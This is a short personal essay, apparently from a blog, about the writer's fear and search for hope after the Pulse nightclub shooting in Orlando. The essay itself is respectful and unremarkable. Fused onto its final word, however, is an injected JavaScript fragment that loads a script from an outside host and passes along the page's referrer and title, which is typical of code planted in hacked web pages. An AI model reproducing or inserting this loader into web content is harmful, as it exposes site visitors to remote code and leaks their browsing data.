To live in this world is a scary thing.

Many tragedies have occurred globally over the summer resulting in a great loss of life. A devastating mass shooting in our own country added to this loss of life. Fifty people were killed including the shooter. This terror attack was counted as the worst mass shooting in our country to date. The attack occurred in a gay Orlando night club called “Pulse”. From videos on Snapchat taken as the attack occurred, to reports in the news about the horror of that day, it all still lingers in my mind.

The shooter, Omar Mateen had pledged his allegiance to ISIS to justify the massacre, and police ended the conflict by killing him. The pain the families felt from the loss of their loved ones was felt all over the country. Messages sent from the victims saying goodbye to the people they love will never be forgotten. All I can ask myself though every time I hear about all this death and destruction is how? How could this happen? This man took away innocent lives and forever changed the lives of the families that lost their loved ones.

There is no going back, and I am afraid. I am afraid of losing the people I love and being lost myself. My mind is confused and afraid, which isn’t a very comfortable place to be. I feel haunted. I thought about the harm just one person can cause and the weight behind every action we take. It is hard to find some semblance of hope in all this; I have thought about it over and over. I realized to simply be alive is in and of itself hope. We have the power to use our lives to change the world and live for those who can’t anymore. Where there is death, there is life, and that is what we must cling to. This world is a crazy messed up place, but we have the power to change that and fight for something more. We have the power to fight for our lives, as we want them to be, and no terrorist can take that away.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;